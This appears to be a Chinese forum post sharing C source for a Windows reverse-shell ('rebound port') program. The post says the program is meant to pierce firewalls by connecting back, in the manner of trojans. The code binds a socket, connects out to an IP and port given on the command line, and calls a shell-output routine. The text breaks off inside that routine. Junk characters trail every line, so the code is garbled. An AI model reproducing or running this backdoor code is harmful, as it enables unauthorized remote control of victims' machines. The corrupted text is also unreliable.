这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4P?R "Lk
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Rebound port in Windows NT OZ4% 6/
By wind,2006/7 l*b0uF
===============================*/ @me ( pnD
#include B8>3GZi
#include jE!?;} P1
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#pragma comment(lib,"wsock32.lib") 4^7*R
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void OutputShell(); h@ @q:I=
SOCKET sClient; wRu\9H}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :czUOZ_
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void main(int argc,char **argv) +pxtar
{ x.>&|Ej
WSADATA stWsaData; UV\&9>@L
int nRet; HXgf=R/$
SOCKADDR_IN stSaiClient,stSaiServer; z6Zd/mt~x
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if(argc != 3) >:|jds#
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printf("Useage:\n\rRebound DestIP DestPort\n"); ne# %Gr
return; +HEL ^
} ,'byJlw_pv
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WSAStartup(MAKEWORD(2,2),&stWsaData); q OV$4[r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <x1,4a~
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stSaiClient.sin_family = AF_INET; G$t:#2
stSaiClient.sin_port = htons(0); R<Ct{f!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o$Z]qhq
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printf("Bind Socket Failed!\n"); |`O210B@
return; EO\- J-nM
} & sgzSX
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stSaiServer.sin_family = AF_INET; 0}-MWbG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RY]jY | E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qU^`fIa
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) },,K6*P
{ @Uqcym.
printf("Connect Error!"); 7W=s.Gy7G\
return; ?tkd5kE
} t8uaNvUM}e
OutputShell(); vs{xr*Ft
} F@1Eg
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void OutputShell() 8r.3t\o)X
{ Yq%r\[%*
char szBuff[1024]; 9j<